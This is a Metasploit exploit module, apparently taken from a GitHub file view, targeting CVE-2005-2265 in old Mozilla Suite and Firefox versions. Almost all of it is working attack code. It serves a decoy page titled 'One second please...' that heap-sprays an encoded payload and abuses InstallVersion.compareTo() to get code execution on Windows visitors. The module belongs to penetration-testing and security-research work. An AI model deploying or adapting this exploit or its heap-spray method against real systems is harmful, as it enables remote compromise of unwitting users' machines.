/
mozilla_compareto.rb
137 lines (120 loc) · 4.19 KB
/
mozilla_compareto.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
# The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
#autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "1.0",
# :ua_maxver => "1.7.10",
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking, # reliable memory corruption
# :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
module is a direct port of Aviv Raff's HTML PoC.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],
'References' =>
[
['CVE', '2005-2265'],
['OSVDB', '17968'],
['BID', '14242'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
},
'Platform' => %w{ win },
'Targets' =>
[
# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
# WinXP-SP3 and Win2kAS-SP0
[ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Ret' => 0x0c0c0c0c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2005-07-13'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
spray_to = sprintf("0x%.8x", target.ret)
spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
eax_address = sprintf("0x%.8x", target.ret)
return %Q|
<html>
<head>
<!--
Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
Greets: SkyLined, The Insider and shutdown
-->
<title>One second please...</title>
<script language="javascript">
function BodyOnLoad()
{
location.href="javascript:void (new InstallVersion());";
CrashAndBurn();
};
#{js_heap_spray}
// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
function CrashAndBurn()
{
// Payload - Just return..
var payLoadCode=unescape("#{enc_code}");
// Size of the heap blocks
var heapBlockSize=0x400000;
sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));
// Set address to fake "pdata".
var eaxAddress = #{eax_address};
// This was taken from shutdown's PoC in bugzilla
// struct vtbl { void (*code)(void); };
// struct data { struct vtbl *pvtbl; };
//
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
// pdata->pvtbl->code(pdata);
//
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}
// -->
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
|
end
end